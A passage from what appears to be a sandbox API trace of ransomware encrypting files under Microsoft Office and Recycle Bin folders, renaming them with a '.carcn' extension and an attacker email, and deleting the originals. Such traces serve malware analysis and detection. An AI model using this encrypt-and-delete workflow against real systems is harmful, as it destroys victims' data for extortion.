lstrlenW (lpString=".rar") returned 4 [0311.429] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.429] lstrlenW (lpString=".bz2") returned 4 [0311.429] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.429] lstrlenW (lpString=".7z") returned 3 [0311.429] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0311.429] lstrlenW (lpString=".dbf") returned 4 [0311.429] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0311.429] lstrlenW (lpString=".1cd") returned 4 [0311.429] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG") returned 68 [0311.429] lstrlenW (lpString=".jpg") returned 4 [0311.429] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0312.196] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.196] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0312.197] GetLastError () returned 0x0 [0312.197] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x107d4, lpOverlapped=0x0) returned 1 [0312.206] WriteFile (in: hFile=0x324, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x107e0, lpOverlapped=0x0) returned 1 [0312.208] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0312.208] WriteFile (in: hFile=0x324, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0312.208] SetEndOfFile (hFile=0x324) returned 1 [0312.208] CloseHandle (hObject=0x324) returned 1 [0312.208] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.208] SetEndOfFile (hFile=0x388) returned 1 [0312.210] CloseHandle (hObject=0x388) returned 1 [0312.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg")) returned 1 [0312.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0312.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0312.211] lstrlenW (lpString=".doc") returned 4 [0312.211] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0312.211] lstrlenW (lpString=".docx") returned 5 [0312.212] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0312.212] lstrlenW (lpString=".pdf") returned 4 [0312.212] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0312.212] lstrlenW (lpString=".xls") returned 4 [0312.212] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0312.212] lstrlenW (lpString=".xlsx") returned 5 [0312.212] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0312.212] lstrlenW (lpString=".ppt") returned 4 [0312.212] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0312.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0312.212] lstrlenW (lpString=".zip") returned 4 [0312.212] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0312.212] lstrlenW (lpString=".rar") returned 4 [0312.212] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0312.212] lstrlenW (lpString=".bz2") returned 4 [0312.212] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0312.212] lstrlenW (lpString=".7z") returned 3 [0312.212] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0312.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0312.212] lstrlenW (lpString=".dbf") returned 4 [0312.212] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0312.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0312.212] lstrlenW (lpString=".1cd") returned 4 [0312.212] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0312.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG") returned 68 [0312.212] lstrlenW (lpString=".jpg") returned 4 [0312.212] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0312.213] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.213] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0312.214] GetLastError () returned 0x0 [0312.214] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x4844, lpOverlapped=0x0) returned 1 [0312.229] WriteFile (in: hFile=0x324, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x4850, lpOverlapped=0x0) returned 1 [0312.230] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0312.230] WriteFile (in: hFile=0x324, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0312.230] SetEndOfFile (hFile=0x324) returned 1 [0312.230] CloseHandle (hObject=0x324) returned 1 [0312.231] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.231] SetEndOfFile (hFile=0x388) returned 1 [0312.232] CloseHandle (hObject=0x388) returned 1 [0312.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0312.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0312.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0312.233] lstrlenW (lpString=".doc") returned 4 [0312.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.233] lstrlenW (lpString=".docx") returned 5 [0312.233] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0312.233] lstrlenW (lpString=".pdf") returned 4 [0312.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.233] lstrlenW (lpString=".xls") returned 4 [0312.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.233] lstrlenW (lpString=".xlsx") returned 5 [0312.233] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0312.233] lstrlenW (lpString=".ppt") returned 4 [0312.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0312.234] lstrlenW (lpString=".zip") returned 4 [0312.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.234] lstrlenW (lpString=".rar") returned 4 [0312.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.234] lstrlenW (lpString=".bz2") returned 4 [0312.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.234] lstrlenW (lpString=".7z") returned 3 [0312.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0312.234] lstrlenW (lpString=".dbf") returned 4 [0312.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0312.234] lstrlenW (lpString=".1cd") returned 4 [0312.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68 [0312.234] lstrlenW (lpString=".jpg") returned 4 [0312.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.237] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.237] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0312.238] GetLastError () returned 0x0 [0312.238] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x2988, lpOverlapped=0x0) returned 1 [0312.249] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2990, lpOverlapped=0x0) returned 1 [0312.250] ReadFile (in: hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0312.250] WriteFile (in: hFile=0x384, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0312.250] SetEndOfFile (hFile=0x384) returned 1 [0312.250] CloseHandle (hObject=0x384) returned 1 [0312.250] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.250] SetEndOfFile (hFile=0x37c) returned 1 [0312.251] CloseHandle (hObject=0x37c) returned 1 [0312.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0312.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0312.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0312.252] lstrlenW (lpString=".doc") returned 4 [0312.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.252] lstrlenW (lpString=".docx") returned 5 [0312.252] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0312.252] lstrlenW (lpString=".pdf") returned 4 [0312.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.252] lstrlenW (lpString=".xls") returned 4 [0312.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.252] lstrlenW (lpString=".xlsx") returned 5 [0312.252] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0312.253] lstrlenW (lpString=".ppt") returned 4 [0312.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0312.253] lstrlenW (lpString=".zip") returned 4 [0312.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.253] lstrlenW (lpString=".rar") returned 4 [0312.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.253] lstrlenW (lpString=".bz2") returned 4 [0312.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.253] lstrlenW (lpString=".7z") returned 3 [0312.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0312.253] lstrlenW (lpString=".dbf") returned 4 [0312.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0312.253] lstrlenW (lpString=".1cd") returned 4 [0312.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0312.253] lstrlenW (lpString=".jpg") returned 4 [0312.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.253] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.253] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0312.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0312.254] GetLastError () returned 0x0 [0312.254] ReadFile (hFile=0x37c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0) Thread: id = 98 os_tid = 0xf8c [0291.241] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x7c7b38 [0291.241] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10000) returned 0x7d7b40 [0291.242] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796b58 [0291.242] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x6) returned 0x795fa8 [0291.242] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796bb8 [0291.242] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x100000) returned 0x3b15020 [0291.245] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796b70 [0291.245] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796b70, Size=0x20) returned 0x75a1c0 [0291.245] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x10) returned 0x796d20 [0291.245] RtlReAllocateHeap (Heap=0x700000, Flags=0x0, Ptr=0x796d20, Size=0x20) returned 0x75a350 [0291.245] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0291.245] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0291.245] Wow64DisableWow64FsRedirection (in: OldValue=0x2ffff50 | out: OldValue=0x2ffff50*=0x0) returned 1 [0291.245] lstrlenW (lpString="kernel32.dll") returned 12 [0291.245] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a1c0 | out: hHeap=0x700000) returned 1 [0291.245] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0291.245] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x75a350 | out: hHeap=0x700000) returned 1 [0291.245] Sleep (dwMilliseconds=0x64) [0291.355] lstrcmpiW (lpString1=".ini", lpString2=".carcn") returned 1 [0291.355] lstrlenW (lpString="desktop.ini") returned 11 [0291.355] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0291.355] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=129) returned 1 [0291.355] CloseHandle (hObject=0x324) returned 1 [0291.355] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0291.355] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0x26 [0291.356] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.356] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.356] lstrlenW (lpString=".doc") returned 4 [0291.356] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0291.356] lstrlenW (lpString=".docx") returned 5 [0291.356] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0291.356] lstrlenW (lpString=".pdf") returned 4 [0291.356] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0291.356] lstrlenW (lpString=".xls") returned 4 [0291.356] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0291.356] lstrlenW (lpString=".xlsx") returned 5 [0291.356] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0291.356] lstrlenW (lpString=".ppt") returned 4 [0291.356] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0291.356] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.356] lstrlenW (lpString=".zip") returned 4 [0291.356] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0291.356] lstrlenW (lpString=".rar") returned 4 [0291.356] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0291.356] lstrlenW (lpString=".bz2") returned 4 [0291.356] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0291.356] lstrlenW (lpString=".7z") returned 3 [0291.356] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0291.356] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.356] lstrlenW (lpString=".dbf") returned 4 [0291.356] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0291.356] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.356] lstrlenW (lpString=".1cd") returned 4 [0291.356] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0291.356] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.356] lstrlenW (lpString=".jpg") returned 4 [0291.356] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0291.357] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.357] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.357] lstrlenW (lpString=".doc") returned 4 [0291.357] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0291.357] lstrlenW (lpString=".docx") returned 5 [0291.357] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0291.357] lstrlenW (lpString=".pdf") returned 4 [0291.357] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0291.357] lstrlenW (lpString=".xls") returned 4 [0291.357] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0291.357] lstrlenW (lpString=".xlsx") returned 5 [0291.357] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0291.357] lstrlenW (lpString=".ppt") returned 4 [0291.357] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0291.357] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.357] lstrlenW (lpString=".zip") returned 4 [0291.357] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0291.357] lstrlenW (lpString=".rar") returned 4 [0291.357] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0291.357] lstrlenW (lpString=".bz2") returned 4 [0291.357] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0291.357] lstrlenW (lpString=".7z") returned 3 [0291.357] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0291.357] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.357] lstrlenW (lpString=".dbf") returned 4 [0291.357] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0291.357] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.357] lstrlenW (lpString=".1cd") returned 4 [0291.357] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0291.357] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0291.357] lstrlenW (lpString=".jpg") returned 4 [0291.357] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0291.358] Sleep (dwMilliseconds=0x64) [0291.749] Sleep (dwMilliseconds=0x64) [0292.131] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0292.131] lstrlenW (lpString="boxed-delete.avi") returned 16 [0292.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0292.417] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=48936) returned 1 [0292.417] CloseHandle (hObject=0x334) returned 1 [0292.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0292.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0292.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0292.417] lstrlenW (lpString=".doc") returned 4 [0292.417] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0292.417] lstrlenW (lpString=".docx") returned 5 [0292.417] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0292.417] lstrlenW (lpString=".pdf") returned 4 [0292.417] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0292.417] lstrlenW (lpString=".xls") returned 4 [0292.417] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0292.417] lstrlenW (lpString=".xlsx") returned 5 [0292.417] lstrcmpiW (lpString1=".xlsx", 